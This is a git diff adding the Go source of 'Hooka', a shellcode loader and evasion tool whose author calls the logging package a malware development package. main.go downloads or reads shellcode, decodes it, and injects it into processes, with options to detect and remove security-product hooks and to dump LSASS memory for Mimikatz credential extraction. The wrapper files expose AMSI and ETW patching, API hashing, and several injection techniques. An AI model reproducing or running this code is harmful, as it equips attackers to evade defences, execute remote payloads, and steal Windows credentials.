+golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20200828194041-157a740278f4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.3.0 h1:w8ZOecv6NaNa/zC8944JTU3vz4u6Lagfk4RPQxv92NQ=
+golang.org/x/sys v0.3.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/term v0.1.0/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
+golang.org/x/term v0.3.0 h1:qoo4akIqOcDME5bhc/NgxUdovd6BSS2uMsVjB56q1xI=
+golang.org/x/term v0.3.0/go.mod h1:q750SLmJuPmVoN1blW3UFBPREJfb1KmY3vwxfr+nFDA=
diff --git a/main.go b/main.go
new file mode 100644
index 0000000..7e6cc73
--- /dev/null
+++ b/main.go
@@ -0,0 +1,255 @@
+package main
+
+import (
+ "os"
+ "time"
+ "flag"
+ "strings"
+ "encoding/hex"
+ "encoding/base64"
+
+ // Hooka
+ "github.com/D3Ext/Hooka/core"
+
+ // My own malware dev package
+ l "github.com/D3Ext/maldev/logging"
+)
+
+func main() {
+ var shellcode []byte
+ var err error
+
+ // Parse CLI flags and retrieve values
+ sc_url, sc_file, dll_file, technique, hook_detect, _, _, base64_flag, hex_flag, test_flag, lsass := core.ParseFlags()
+
+ l.PrintBanner("Hooka!")
+ l.Println(" by D3Ext - v0.1")
+ time.Sleep(100 * time.Millisecond)
+
+ if (sc_url == "") && (sc_file == "") && (dll_file == "") && (!hook_detect) && (!test_flag) { // Enter here if any main flag was especified
+ l.Println()
+ flag.PrintDefaults()
+ l.Println("\n[-] Parameters missing: provide a shellcode to inject (--file/--url/--dll), detect hooked functions (--hooks) or test program capabilities (--test)")
+ os.Exit(0)
+
+ } else if (sc_url != "") && (sc_file != "") && (dll_file == "") { // Check if both --url and --file flags were passed
+ l.Println()
+ flag.PrintDefaults()
+ l.Println("\n[-] Error: you can't use --url and --file at the same time!")
+
+ } else if (sc_url != "") && (sc_file == "") && (dll_file != "") { // Check if both --url and --dll flags were passed
+ l.Println()
+ flag.PrintDefaults()
+ l.Println("\n[-] Error: you can't use --url and --dll at the same time!")
+
+ } else if (sc_url == "") && (sc_file != "") && (dll_file != "") { // Check if both --file and --dll flags were passed
+ l.Println()
+ flag.PrintDefaults()
+ l.Println("\n[-] Error: you can't use --file and --dll at the same time!")
+
+ } else if (sc_url != "") && (sc_file == "") && (dll_file == "") {
+
+ if (base64_flag) && (hex_flag) { // Check if both flags were passed
+ l.Println()
+ flag.PrintDefaults()
+ l.Println("\n[-] Error: you can't use base64 and hex encoding flag at the same time!")
+ os.Exit(0)
+ }
+
+ time.Sleep(200 * time.Millisecond)
+ l.Println("\n[+] Remote shellcode URL: " + sc_url)
+ time.Sleep(300 * time.Millisecond)
+
+ if (!base64_flag) && (!hex_flag) { // Check shellcode encoding flags
+ l.Println("[+] No encoding was especified")
+ } else if (base64_flag) && (!hex_flag) {
+ l.Println("[+] Shellcode encoding: base64")
+ } else if (!base64_flag) && (hex_flag) {
+ l.Println("[+] Shellcode encoding: hex")
+ }
+ time.Sleep(300 * time.Millisecond)
+
+ l.Println("[*] Retrieving shellcode from url...")
+ shellcode, err = core.GetShellcodeFromUrl(sc_url)
+ if err != nil { // Handle error
+ l.Println("[-] An error has ocurred retrieving shellcode!")
+ l.Fatal(err)
+ }
+ time.Sleep(300 * time.Millisecond)
+
+ if (base64_flag) && (!hex_flag) { // Decode shellcode if necessary
+ l.Println("[*] Decoding shellcode...")
+ shellcode, err = base64.StdEncoding.DecodeString(string(shellcode))
+ if err != nil { // Handle error
+ l.Fatal(err)
+ }
+ time.Sleep(300 * time.Millisecond)
+
+ } else if (!base64_flag) && (hex_flag) {
+ l.Println("[*] Decoding shellcode...")
+ shellcode, err = hex.DecodeString(string(shellcode))
+ if err != nil { // Handle error
+ l.Fatal(err)
+ }
+ time.Sleep(300 * time.Millisecond)
+ }
+
+ if (technique != "") {
+ l.Println("[*] Injecting shellcode using " + technique + " function")
+ }
+
+ err = core.InjectWithTechnique(shellcode, technique) // Inject shellcode
+ if err != nil { // Handle error
+ l.Fatal(err)
+ }
+ l.Println("[+] Shellcode should have been executed without errors!")
+
+ } else if (sc_file != "") && (sc_url == "") && (dll_file == "") {
+
+ if (base64_flag) && (hex_flag) { // Check if both flags were passed
+ l.Println()
+ flag.PrintDefaults()
+ l.Println("\n[-] Error: you can't use base64 and hex encoding flag at the same time!")
+ os.Exit(0)
+ }
+
+ _, err := os.Stat(sc_file) // Check if file exists
+ if os.IsNotExist(err) {
+ l.Println("\n[-] Especified file doesn't exist!")
+ time.Sleep(100 * time.Millisecond)
+ os.Exit(0)
+ }
+
+ time.Sleep(200 * time.Millisecond) // Add some delay to let the user read info
+ l.Println("[+] Shellcode file: " + sc_file)
+ time.Sleep(300 * time.Millisecond)
+ l.Println("[*] Getting shellcode from file")
+ time.Sleep(300 * time.Millisecond)
+
+ shellcode, err = core.GetShellcodeFromFile(sc_file) // Read file and retrieve shellcode as bytes
+ if err != nil { // Handle error
+ l.Fatal(err)
+ }
+
+ if (!base64_flag) && (!hex_flag) { // Check shellcode encoding flags
+ l.Println("[+] No encoding was especified")
+ time.Sleep(300 * time.Millisecond)
+
+ } else if (base64_flag) && (!hex_flag) {
+ l.Println("[+] Shellcode encoding: base64")
+ shellcode, err = base64.StdEncoding.DecodeString(string(shellcode))
+ if err != nil {
+ l.Fatal(err)
+ }
+
+ time.Sleep(300 * time.Millisecond)
+ l.Println("[*] Decoding shellcode")
+ time.Sleep(300 * time.Millisecond)
+
+ } else if (!base64_flag) && (hex_flag) {
+ l.Println("[+] Shellcode encoding: hex")
+ shellcode, err = hex.DecodeString(string(shellcode))
+ if err != nil { // Handle error
+ l.Fatal(err)
+ }
+
+ time.Sleep(300 * time.Millisecond)
+ l.Println("[*] Decoding shellcode")
+ time.Sleep(300 * time.Millisecond)
+ }
+
+ if technique != "" {
+ l.Println("[*] Injecting shellcode using " + technique + " technique")
+ }
+
+ err = core.InjectWithTechnique(shellcode, technique) // Inject shellcode
+ if err != nil { // Handle error
+ l.Fatal(err)
+ }
+ l.Println("[+] Shellcode should have been executed without errors!")
+
+ } else if (sc_url == "") && (sc_file == "") && (dll_file != "") {
+
+ dll_filename := strings.Split(dll_file, ",")[0] // Get DLL path
+ dll_func := strings.Split(dll_file, ",")[1] // Get DLL function to execute
+
+ _, err := os.Stat(dll_filename) // Check if especified dll exists
+ if os.IsNotExist(err) {
+ l.Println("\n[-] Especified DLL doesn't exists!")
+ time.Sleep(100 * time.Millisecond)
+ os.Exit(0)
+ }
+
+ time.Sleep(200 * time.Millisecond) // Add some delay to let the user read info
+ l.Println("\n[+] DLL file: " + dll_filename)
+ time.Sleep(300 * time.Millisecond)
+ l.Println("[+] Function to execute: " + dll_func)
+ time.Sleep(300 * time.Millisecond)
+
+ l.Println("[*] Converting " + dll_filename + " to position independant shellcode")
+ shellcode, err := core.ConvertDllToShellcode(dll_filename, dll_func, "") // Convert DLL to shellcode
+ if err != nil { // Handle error
+ l.Fatal(err)
+ }
+ time.Sleep(300 * time.Millisecond)
+ l.Println("[+] Process finished successfully!")
+ time.Sleep(100 * time.Millisecond)
+
+ if (technique != "") { // Check if technique has value so it doesn't get printed twice
+ l.Println("[*] Injecting shellcode using " + technique + " technique")
+ }
+
+ err = core.InjectWithTechnique(shellcode, technique) // Inject shellcode
+ if err != nil { // Handle error
+ l.Fatal(err)
+ }
+ l.Println("[+] Shellcode should have been executed without errors")
+
+ } else if (sc_url == "") && (sc_file == "") && (dll_file == "") && (hook_detect) { // Enter here if --hooks flag was especified
+
+ l.Println("\n[*] Detecting hooked functions...")
+
+ all_hooks, err := core.DetectHooks() // Get all hooked functions
+ if err != nil {
+ l.Fatal(err)
+ }
+ l.Println("[+] Process finished")
+
+ if len(all_hooks) >= 1 { // Check if hooks array contains at least one function
+ l.Println("[*] Hooked functions:")
+ for _, h := range all_hooks {
+ l.Println(h)
+ }
+ time.Sleep(200 * time.Millisecond)
+
+ } else {
+ time.Sleep(200 * time.Millisecond)
+ l.Println("[+] No function is hooked!")
+ time.Sleep(100 * time.Millisecond)
+ }
+
+ } else if (sc_url == "") && (sc_file == "") && (!hook_detect) && (test_flag) {
+
+ l.Println("\n[*] Testing shellcode injection with calc.exe shellcode")
+ time.Sleep(200 * time.Millisecond)
+
+ err := core.InjectWithTechnique(core.CalcShellcode(), technique) // Inject calc.exe shellcode
+ if err != nil { // Handle error
+ l.Fatal(err)
+ }
+ l.Println("[+] Shellcode should have been executed!")
+
+ } else if (lsass != "") { // Enter here if --lsass flag was especified
+ l.Println("[*] Dumping lsass process to " + lsass)
+
+ err := core.DumpLsass(lsass)
+ if err != nil {
+ l.Println("[-] An error has ocurred, ensure to be running as admin:")
+ l.Fatal(err)
+ }
+
+ l.Println("[+] Process finished! Now use Mimikatz in your machine to extract credentials")
+ time.Sleep(100 * time.Millisecond)
+ }
+}
+
diff --git a/pkg/hooka/amsi.go b/pkg/hooka/amsi.go
new file mode 100644
index 0000000..61acc4a
--- /dev/null
+++ b/pkg/hooka/amsi.go
@@ -0,0 +1,9 @@
+package hooka
+
+import "github.com/D3Ext/Hooka/core"
+
+func PatchAmsi(pid int) (error) {
+ return core.PatchAmsi(pid)
+}
+
+
diff --git a/pkg/hooka/etw.go b/pkg/hooka/etw.go
new file mode 100644
index 0000000..68dd1e5
--- /dev/null
+++ b/pkg/hooka/etw.go
@@ -0,0 +1,8 @@
+package hooka
+
+import "github.com/D3Ext/Hooka/core"
+
+func PatchEtw() (error) {
+ return core.PatchEtw()
+}
+
diff --git a/pkg/hooka/hashing.go b/pkg/hooka/hashing.go
new file mode 100644
index 0000000..abe577c
--- /dev/null
+++ b/pkg/hooka/hashing.go
@@ -0,0 +1,17 @@
+package hooka
+
+import (
+ "golang.org/x/sys/windows"
+
+ "github.com/D3Ext/Hooka/core"
+)
+
+func FuncFromHash(hash string, dll string) (*windows.LazyProc, string, error) {
+ return core.FuncFromHash(hash, dll)
+}
+
+func HashFromFunc(funcname string) (string) {
+ return core.HashFromFunc(funcname)
+}
+
+
diff --git a/pkg/hooka/hooks.go b/pkg/hooka/hooks.go
new file mode 100644
index 0000000..9f77f63
--- /dev/null
+++ b/pkg/hooka/hooks.go
@@ -0,0 +1,14 @@
+package hooka
+
+import (
+ "github.com/D3Ext/Hooka/core"
+)
+
+func DetectHooks() ([]string, error) {
+ return core.DetectHooks()
+}
+
+func IsHooked(func_name string) (bool, error) {
+ return core.IsHooked(func_name)
+}
+
diff --git a/pkg/hooka/lsass.go b/pkg/hooka/lsass.go
new file mode 100644
index 0000000..aa71b17
--- /dev/null
+++ b/pkg/hooka/lsass.go
@@ -0,0 +1,8 @@
+package hooka
+
+import "github.com/D3Ext/Hooka/core"
+
+func DumpLsass(output string) (error) {
+ return core.DumpLsass(output)
+}
+
diff --git a/pkg/hooka/shellcode.go b/pkg/hooka/shellcode.go
new file mode 100644
index 0000000..a20e91c
--- /dev/null
+++ b/pkg/hooka/shellcode.go
@@ -0,0 +1,21 @@
+package hooka
+
+import "github.com/D3Ext/Hooka/core"
+
+func CreateRemoteThread(shellcode []byte) (error) {
+ return core.CreateRemoteThread(shellcode)
+}
+
+func CreateProcess(shellcode []byte) (error) {
+ return core.CreateProcess(shellcode)
+}
+
+func Fibers(shellcode []byte) (error) {
+ return core.Fibers(shellcode)
+}
+
+func EarlyBirdApc(shellcode []byte) (error) {
+ return core.EarlyBirdApc(shellcode)
+}
+
+
diff --git a/pkg/hooka/unhook.go b/pkg/hooka/unhook.go
new file mode 100644
index 0000000..df76728
--- /dev/null
+++ b/pkg/hooka/unhook.go
@@ -0,0 +1,8 @@
+package hooka
+
+import "github.com/D3Ext/Hooka/core"
+
+func Unhook(funcname string) (error) {
+ return core.Unhook(funcname)
+}
+